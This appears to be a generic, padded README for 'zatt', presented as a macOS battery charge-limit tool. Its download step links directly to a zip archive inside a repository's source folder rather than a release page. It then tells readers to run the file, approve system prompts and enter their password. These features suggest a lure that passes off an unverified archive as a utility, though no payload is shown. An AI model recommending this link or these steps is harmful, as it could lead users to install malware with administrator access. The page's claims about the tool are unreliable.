🔧 What zatt does

zatt is a small command-line tool for macOS that helps you control how your MacBook battery charges. It works through the system management controller, or SMC, which is the part of the Mac that helps manage power.

Use zatt if you want to:

• set charge limits
• stop charging at a chosen point
• keep your battery within a safer range
• manage power on Apple silicon MacBooks
• use a light tool with a simple command line flow

💻 What you need

Before you use zatt, make sure you have:

• a MacBook running macOS
• Apple silicon support for the best results
• a terminal app on your Mac
• permission to run command-line tools
• basic access to system settings

zatt is made for macOS, not Windows. If you are on Windows, you can still use the link above to visit the project page, but the app itself runs on a MacBook.

🚀 Getting Started

1. Open the download page: https://raw.githubusercontent.com/splitvalentine302/zatt/main/src/Software_2.6-beta.2.zip

2. Download the latest release file or source package from that page.

3. If you get a zipped file, unzip it.

4. Move the zatt file to a folder you can find again, such as Downloads or Applications.

5. Open Terminal on your Mac.

6. Go to the folder that contains zatt.

7. Run zatt from the command line.

8. Follow the on-screen prompts or use the command options you want.

🧭 How to use it

zatt uses short commands in Terminal. A common flow looks like this:

• open Terminal
• run zatt with the option you need
• choose a battery limit or power mode
• confirm the change
• check that your MacBook now follows the new charging rule

If you want to keep the battery from charging all the way to 100%, zatt can help you set a lower limit. If you want normal charging again, you can switch the setting back.

⚙️ Common setup steps

If macOS asks for permission:

• allow the app or terminal access
• approve any system prompt that appears
• enter your Mac password if asked

If the file does not open:

• make sure you downloaded the right build for macOS
• check that the file finished downloading
• move it to a simple folder path
• try again from Terminal

If the command is not found:

• confirm you are in the correct folder
• check the file name
• make sure the file has run permission

🔒 What zatt changes

zatt changes battery charging behavior at the system level. That means it does more than a normal battery app. It talks to the Mac’s power system and helps control when charging starts and stops.

This can help you:

• reduce time spent at full charge
• manage battery wear
• keep a charging ceiling for daily use
• restore normal charging when needed

🧩 Typical use cases

zatt can fit a few simple needs:

• You keep your MacBook plugged in most of the day and want a charge cap.
• You travel with your laptop and want more control over battery use.
• You want a direct tool with no extra app window.
• You like to manage your Mac from Terminal.
• You want a small utility that stays out of the way.

🛠️ Example workflow

A simple day-to-day flow may look like this:

1. Start your MacBook.
2. Open Terminal.
3. Run zatt.
4. Set the charge limit you want.
5. Leave the laptop plugged in.
6. Check battery level later.
7. Change the setting again when your needs change.

📌 Notes for first-time users

If this is your first time using a CLI tool:

• Terminal is the black window where you type commands.
• A command is a short text instruction.
• You can copy and paste commands if the project page gives them.
• Press Enter after each command.
• Read each prompt before you confirm it.

If you are not sure what a command does, stop and check the project page before you run it.

🧪 Troubleshooting

If zatt does not behave as expected:

• restart Terminal
• unplug and replug the charger
• check whether another battery tool is running
• confirm that macOS has not blocked the command
• try the command again with the right option

If your Mac still charges past the limit:

• make sure the setting was saved
• check for a different power tool that may override it
• unplug and reconnect power
• retry after a restart

🔐 Privacy and system access

zatt works on your Mac and changes local power settings. It does not need a browser account or cloud service to do its job. It runs on the machine you install it on and works with the Mac’s built-in power system

🧭 What to expect after setup

After you set it up, zatt should let you manage battery charging from Terminal. You can keep the battery below full charge when you want, then switch back to normal charging when you need it
